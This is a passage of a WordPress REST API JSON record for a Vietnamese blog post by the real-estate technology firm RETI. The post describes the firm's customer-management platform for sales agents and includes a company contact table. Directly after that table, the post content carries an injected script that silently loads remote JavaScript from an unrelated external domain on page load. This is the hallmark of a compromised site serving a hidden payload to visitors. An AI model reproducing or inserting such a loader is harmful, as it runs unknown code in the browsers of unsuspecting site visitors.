aria-hidden=\"true\"><\/div>\n<\/form>\n<\/div>\n<\/div>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>RETI l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7. B\u1eb1ng s\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa c\u00f4ng ngh\u1ec7 v\u00e0 con ng\u01b0\u1eddi, n\u1ec1n t\u1ea3ng giao d\u1ecbch B\u0110S online v\u00e0 ph\u01b0\u01a1ng th\u1ee9c offline, RETI ch\u1eafc ch\u1eafn mang l\u1ea1i nhi\u1ec1u gi\u00e1 tr\u1ecb v\u00e0 tr\u1ea3i nghi\u1ec7m \u0111\u1ed9t ph\u00e1 cho kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 ch\u1ee7 \u0111\u1ea7u t\u01b0, gi\u00fap h\u1ecd mua \u2013 b\u00e1n giao d\u1ecbch B\u0110S d\u1ec5 d\u00e0ng, minh b\u1ea1ch v\u00e0 hi\u1ec7u qu\u1ea3. <br>Hi\u1ec7n nay, RETI \u0111\u00e3 v\u00e0 \u0111ang ph\u00e2n ph\u1ed1i r\u1ea5t nhi\u1ec1u d\u1ef1 \u00e1n l\u1edbn tr\u00ean c\u1ea3 n\u01b0\u1edbc, nh\u01b0: Sun Grand Boulevard, Sun Riverside Village, BRG Diamond Residence, Sun Grand City Thu\u1ef5 Khu\u00ea, Meyhomes Capital Ph\u00fa Qu\u1ed1c, Sun Grand City Feria H\u1ea1 Long, Sunshine Crystal River, Sun Onsen Village Limited Edition, Sun Grand City Hillside Residence, Vegacity Nha Trang&#8230;<br>Website:\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/reti.vn\/<\/a><br>Fanpage:\u00a0<a class=\"rank-math-link\" rel=\"noreferrer noopener\" href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\">https:\/\/www.facebook.com\/retiproptech<\/a><br>Hotline: 098 712 6898<br>Email: support@reti.vn<\/td><\/tr><\/tbody><\/table><\/figure>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>Th\u1ea5u hi\u1ec3u \u0111\u01b0\u1ee3c t\u1ea7m quan tr\u1ecdng c\u1ee7a qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng (CRM) trong ho\u1ea1t \u0111\u1ed9ng giao d\u1ecbch b\u1ea5t \u0111\u1ed9ng s\u1ea3n (B\u0110S), RETI ph\u00e1t tri\u1ec3n n\u1ec1n t\u1ea3ng TMS nh\u1eb1m h\u1ed7 tr\u1ee3 c\u00e1c Sales Agent trong vi\u1ec7c qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng v\u00e0 qu\u1ea3n l\u00fd giao d\u1ecbch. H\u00e3y c\u00f9ng RETI t\u00ecm hi\u1ec3u v\u1ec1 t\u00ednh n\u0103ng qu\u1ea3n l\u00fd th\u00f4ng [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":31885,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[20],"tags":[],"class_list":{"0":"post-31671","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-tin-va-su-kien-noi-bo"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/10\/z2859161391380_c72c8550dede46eebc183c54e4bcd4a8-1.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/31671","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=31671"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/31671\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/31885"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=31671"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=31671"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=31671"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}